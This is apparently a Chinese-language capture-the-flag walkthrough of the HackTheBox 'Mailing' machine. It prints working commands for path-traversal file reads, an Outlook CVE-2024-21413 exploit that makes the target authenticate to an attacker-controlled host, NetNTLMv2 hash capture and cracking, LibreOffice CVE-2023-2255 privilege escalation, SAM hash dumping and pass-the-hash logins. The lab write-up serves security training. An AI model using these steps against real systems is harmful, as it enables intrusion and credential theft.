HTB-Mailing

[HackTheBox] Mailing(Windows, Easy)

Created by: ruycr4ft | TheCyberGeek

Information Scanning

通过opvpn连接题目靶机后首先进行靶机服务探测

services scanning

首先是端口扫描,可以看到开了很多端口,主要是一些e-mail服务

nmap -p- -T4 -Pn 10.10.11.14nmap -p- -T4 -Pn 10.10.11.14

image-20240509100209989

扫一下服务版本

nmap -p80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669 -T4 -sV 10.10.11.14

image-20240509100240245

User Flag

首先访问80端口的web服务,直接ip访问会重定向到mailing.htb,所以要修改/etc/hosts,把ip mailing.htb添加进去再次访问

只有一个能访问的接口/download.php,点击Download Instructions可以看到路由与参数是/download.php?file=instructions.pdf,尝试一下是否路径穿越下载本地文件。由于是windows主机,尝试C:/Windows/system.ini,但是不能直接传,要传../../../../Windows/system.ini

image-20240509102114228

能看到可以成功包含,hMailServer的配置文件路径Program+Files (x86)/hMailServer/Bin/hMailServer.INI,再次传参下载

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1

到这里以后就是CVE一把梭了,首先要知道,hMailServer的管理员用户邮箱的密码是md5的hash记录的,但是数据库就不是md5的了,如果是要解密数据库的密码可以用这个仓库的脚本。我们查一下这个配置文件中的管理员的密码的hashcmd5.com可以查到,但是要氪金查看。去这里查结果是841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator

看看在80端口中下载的instructions.pdf

image-20240509110219270

这个指导手册的话就是此靶机的e-mail服务的指导手册,邮箱域名就是mailing.htb,那么就可以推测管理员的邮箱帐号可能就是Administrator@mailing.htb,密码是homenetworkingadministrator

在前面的端口服务扫描有一个110端口的hmailserver pop3dpop3服务,可以试试登录验证账号密码是否正确还能顺便看看有没有邮件查看

telnet 10.10.11.14 110

USER administrator@mailing.htb
PASS homenetworkingadministrator
LIST
image-20240509124038851

账号验证正确,但是没有邮件能查看

Outlook客户端存在CVE-2024-21413,可以去看一下分析https://www.yunyawu.com/2024/02/29/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%9Acve-2024-21413/,简单来说就是outlook出漏洞,导致可以绕过保护视图,如果邮件的某个链接(Moniker Link)中存在file://协议,并且访问的是某个主机中的共享文件,例如\\192.168.0.1\share,这时候邮件接收方就会向访问的主机发起认证请求,尝试进行身份验证,而在这个过程中会发出自己的Windows netNTLMv2

恰好,kali中的Responder就有类似欺骗受害者主机,跟受害者主机继续认证的流程,直到受害者主机将Windows netNTLMv2值发送出来,详细的原理可以看这个https://m.freebuf.com/articles/network/256844.html,刚好我们知道了管理员的账号与密码,只要向主机的用户发送恶意邮件,同时使用Responder工具监听,就能获取登录用户的Windows netNTLMv2

下面开始攻击:

首先看一下网卡信息

image-20240510030620014

vpn在tun0上,那就要监听这个

responder -I tun0 -v

接下来下载一下CVE-2024-21413的利用脚本https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability?tab=readme-ov-file

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient ruy@mailing.htb --url '\\10.10.14.168/tt' --subject XD

这里发送给哪个用户,可以去看80端口的主页,上面有写几个用户,可以逐个试一试

image-20240510031928082

记得关掉防火墙

ufw disable

发送邮件后稍等片刻,就能收到回显

image-20240510041302000

maya::MAILING:bca7546b9f05e526:054159512015F83767E80896EE24B713:01010000000000008024436129A2DA017A9A4DE6F96F326700000000020008004600590056004B0001001E00570049004E002D003800380037004700520048005400370053004400500004003400570049004E002D00380038003700470052004800540037005300440050002E004600590056004B002E004C004F00430041004C00030014004600590056004B002E004C004F00430041004C00050014004600590056004B002E004C004F00430041004C00070008008024436129A2DA010600040002000000080030003000000000000000000000000020000062CDE981435ADAF7DBC7EF8E9906B4552B9CC118CC34382B567BB6BDDBE5B31F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360038000000000000000000

用hashcat爆破一下(老外用的都是什么字典,什么密码都有在里面是吧。。。)

hashcat -m 5600 -a 0 mayahash rockyou.txt

得到密码maya:m4y4ngs4ri

接下来就是登录的事了,由于是window,看看开了哪些远程登陆的端口,可以看到有一个5985端口的wsman服务,可以进行远程管理,5985是该协议的默认端口,kali中的evil-winrm工具则可以利用该协议进行登录ving且有很多附加功能

evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri

image-20240510140231640

登录成功后在C:\Users\maya\Desktop\user.txt中能拿到flag

image-20240510141859782

System Flag

先看看有哪些用户

image-20240510142438690

localadmin用户里面的文件无法读取,需要提权

靶机上有LibreOffice 7.4版本,存在CVE-2023-2255,即通过不正确的访问控制来加载外部链接而不会提示用户

C:\Important Documents文件夹中有管理员执行权限,可以用icacls指令看一下文件或者文件夹权限

./Important Documents MAILING\maya:(OI)(CI)(M)
BUILTIN\Administradores:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Usuarios:(I)(OI)(CI)(RX)
NT AUTHORITY\Usuarios autentificados:(I)(M)
NT AUTHORITY\Usuarios autentificados:(I)(OI)(CI)(IO)(M)

maya用户有M(Modify)权限,管理员有F(Full)完全控制权,那我们可以用CVE-2023-2255的利用脚本生成exp上传到八级上,等待管理员执行

在payload中选择net localgroup Administradores maya /add这个指令,管理员执行后,maya用户就能添加到管理员组户中了

python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'

上传文件直接使用evil-winrmupload功能,先cd到C:\Important Documents文件夹中再上传(这里没懂为什么传Important Documents文件夹就会被执行?别的文件夹同样是)

upload /root/Desktop/exploit.odt

稍等一会而后,net users maya看一下权限

image-20240510162048391

已经在管理员权限组中了,现在是高权限用户了,试一下直接读取localadmin/Desktop/root.txt的内容

image-20240510163302772

ok,直接就读出来了

但是还可以有其他的做法:获取localadmin的密码或者hash

由于现在maya已经是高权限用户了,而且可以执行脚本,那就可以用来获取本地的sam hash,使用kali中的crackmapexec工具进行攻击,详细的使用方法可以看这个

crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam

image-20240510164730250

成功获取到localadminLMHASH:NTHASH,下面那就可以进行hash传递攻击,evil-winrm就能做到

evil-winrm -i 10.10.11.14 -u localadmin -H 9aa582783780d1546d62f2d102daefae

image-20240510165650548

登录成功

hash传递还可以用impacket-wmiexec工具

impacket-wmiexec localadmin@10.10.11.14 -hashes "aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae"

image-20240510170240720